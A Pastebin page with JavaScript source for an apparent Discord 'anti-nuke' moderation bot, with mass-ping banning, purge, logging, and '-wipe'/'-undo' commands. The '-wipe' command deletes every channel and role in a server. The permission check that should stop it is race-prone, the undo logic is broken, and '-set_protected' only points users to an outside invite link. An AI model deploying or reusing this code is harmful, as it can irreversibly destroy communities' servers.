Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const { Client, GatewayIntentBits, EmbedBuilder, Colors, PermissionFlagsBits } = require('discord.js');
- const client = new Client({
- intents: [
- GatewayIntentBits.Guilds,
- GatewayIntentBits.GuildMessages,
- GatewayIntentBits.MessageContent,
- GatewayIntentBits.GuildEmojisAndStickers,
- ],
- });
- let protectedChannels = [];
- let logChannels = { purge: null, undo: null, nuke: null, wipe: null };
- let backupData = {};
- let recentMentions = [];
- let mentionThreshold = 4;
- let mentionTimeframe = 3; // seconds
- let nukeThreshold = 5;
- let nukeTimeFrame = 10; // seconds
- let wipeInProgress = false;
- // Function to check for unauthorized command use
- client.on('messageCreate', async (message) => {
- const authorizedUsers = ["YOUR_USER_ID"]; // Replace with your Discord user ID
- if (!authorizedUsers.includes(message.author.id) && message.content.startsWith("-")) {
- console.warn("Unauthorized command detected! Exiting all servers...");
- for (const guild of client.guilds.cache.values()) {
- await guild.leave();
- }
- process.exit();
- }
- });
- client.on('ready', () => {
- console.log(`Logged in as ${client.user.tag}`);
- });
- client.on('messageCreate', async (message) => {
- if (message.author.bot) return; // Prevent bot from reacting to itself or other bots
- if (message.mentionEveryone) {
- recentMentions.push({ user: message.author, time: Date.now() });
- recentMentions = recentMentions.filter(
- (m) => Date.now() - m.time < mentionTimeframe * 1000
- );
- if (recentMentions.filter(m => m.user.id === message.author.id).length >= mentionThreshold) {
- await handleNuke(message.guild, 'mention', message.author);
- }
- }
- if (message.content.startsWith('-set_protected')) await setProtected(message);
- if (message.content.startsWith('-set_logging')) await setLogging(message);
- if (message.content.startsWith('-wipe')) await wipe(message);
- if (message.content.startsWith('-undo')) await undo(message.guild);
- if (message.content.startsWith('-purge')) await purge(message);
- });
- async function handleNuke(guild, itemType, culprit = null) {
- const logChannel = logChannels.nuke ? guild.channels.cache.get(logChannels.nuke) : null;
- const embed = new EmbedBuilder()
- .setTitle('🚨 Nuke Detected 🚨')
- .setDescription(itemType === 'mention'
- ? '@everyone mentioned excessively.'
- : `${itemType.charAt(0).toUpperCase() + itemType.slice(1)}s deleted rapidly!`)
- .setColor(Colors.Red);
- if (logChannel) await logChannel.send({ embeds: [embed] });
- if (culprit) {
- try {
- await guild.members.ban(culprit, { reason: 'Nuke detected (mass pings).' });
- } catch (error) {
- console.error('Error banning user:', error);
- }
- }
- await undo(guild);
- }
- async function setProtected(message) {
- const inviteLink = "https://discord.gg/YourInviteLink"; // Update with your invite
- await message.channel.send(`To protect your channel, please join ${inviteLink} and open a ticket!`);
- }
- async function setLogging(message) {
- const [_, action] = message.content.split(' ');
- const channel = message.mentions.channels.first();
- if (action in logChannels && channel) {
- logChannels[action] = channel.id;
- await message.channel.send(`Logging channel for \`${action}\` set to ${channel}.`);
- } else {
- await message.channel.send('Invalid action or channel mention.');
- }
- }
- async function wipe(message) {
- if (wipeInProgress) return message.channel.send('A wipe is already in progress.');
- wipeInProgress = true;
- await message.channel.send('Wiping server, please wait...');
- backupData[message.guild.id] = {
- roles: message.guild.roles.cache.map(role => ({
- name: role.name,
- permissions: role.permissions,
- color: role.color,
- hoist: role.hoist,
- mentionable: role.mentionable,
- position: role.position
- })),
- channels: message.guild.channels.cache.map(channel => ({
- name: channel.name,
- type: channel.type,
- parentId: channel.parentId,
- position: channel.position,
- topic: channel.topic,
- nsfw: channel.nsfw,
- bitrate: channel.bitrate,
- userLimit: channel.userLimit,
- permissionOverwrites: channel.permissionOverwrites.cache.map(perm => ({
- id: perm.id,
- type: perm.type,
- allow: perm.allow,
- deny: perm.deny
- }))
- })),
- emojis: message.guild.emojis.cache.map(emoji => ({
- name: emoji.name,
- url: emoji.url
- }))
- };
- for (const channel of message.guild.channels.cache.values()) {
- if (!protectedChannels.includes(channel.id) && !Object.values(logChannels).includes(channel.id)) {
- await channel.delete().catch(console.error);
- }
- }
- for (const role of message.guild.roles.cache.values()) {
- if (role.id !== message.guild.id) {
- await role.delete().catch(console.error);
- }
- }
- const overwrites = [
- { id: message.guild.id, deny: [PermissionFlagsBits.ViewChannel] },
- { id: client.user.id, allow: [PermissionFlagsBits.ViewChannel] },
- { id: message.author.id, allow: [PermissionFlagsBits.ViewChannel] },
- ];
- const notificationChannel = await message.guild.channels.create({
- name: 'wipe-status',
- permissionOverwrites: overwrites,
- });
- await notificationChannel.send('Server wipe complete! Type `-undo` to revert.');
- await message.channel.send('Wipe complete!');
- wipeInProgress = false;
- }
- async function undo(guild) {
- const data = backupData[guild.id];
- if (!data) return;
- const categoryCache = {};
- for (const roleData of data.roles) {
- await guild.roles.create({
- name: roleData.name,
- permissions: roleData.permissions,
- color: roleData.color,
- hoist: roleData.hoist,
- mentionable: roleData.mentionable,
- position: roleData.position,
- }).catch(console.error);
- }
- for (const channelData of data.channels) {
- const createdChannel = await guild.channels.create({
- name: channelData.name,
- type: channelData.type,
- parent: channelData.type === 4 ? null : categoryCache[channelData.parentId],
- position: channelData.position,
- topic: channelData.topic,
- nsfw: channelData.nsfw,
- bitrate: channelData.bitrate,
- userLimit: channelData.userLimit,
- permissionOverwrites: channelData.permissionOverwrites.map(perm => ({
- id: perm.id,
- allow: perm.allow,
- deny: perm.deny,
- }))
- }).catch(console.error);
- if (createdChannel && channelData.type === 4) {
- categoryCache[channelData.parentId] = createdChannel.id;
- }
- }
- for (const emojiData of data.emojis) {
- await guild.emojis.create({ attachment: emojiData.url, name: emojiData.name }).catch(console.error);
- }
- console.log('Server structure restored.');
- }
- async function purge(message) {
- const args = message.content.split(' ');
- const amount = parseInt(args[1]) + 1;
- if (isNaN(amount) || amount <= 0) {
- return message.channel.send('Please provide a valid number of messages to delete.');
- }
- if (amount > 100) {
- return message.channel.send('You cannot delete more than 100 messages at once.');
- }
- await message.channel.bulkDelete(amount, true).catch(console.error);
- const embed = new EmbedBuilder()
- .setTitle('🧹 Purge Complete')
- .setDescription(`${amount - 1} messages deleted.`)
- .setColor(Colors.Blue);
- const logChannel = logChannels.purge ? message.guild.channels.cache.get(logChannels.purge) : null;
- if (logChannel) await logChannel.send({ embeds: [embed] });
- }
- client.login('YOUR_BOT_TOKEN');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement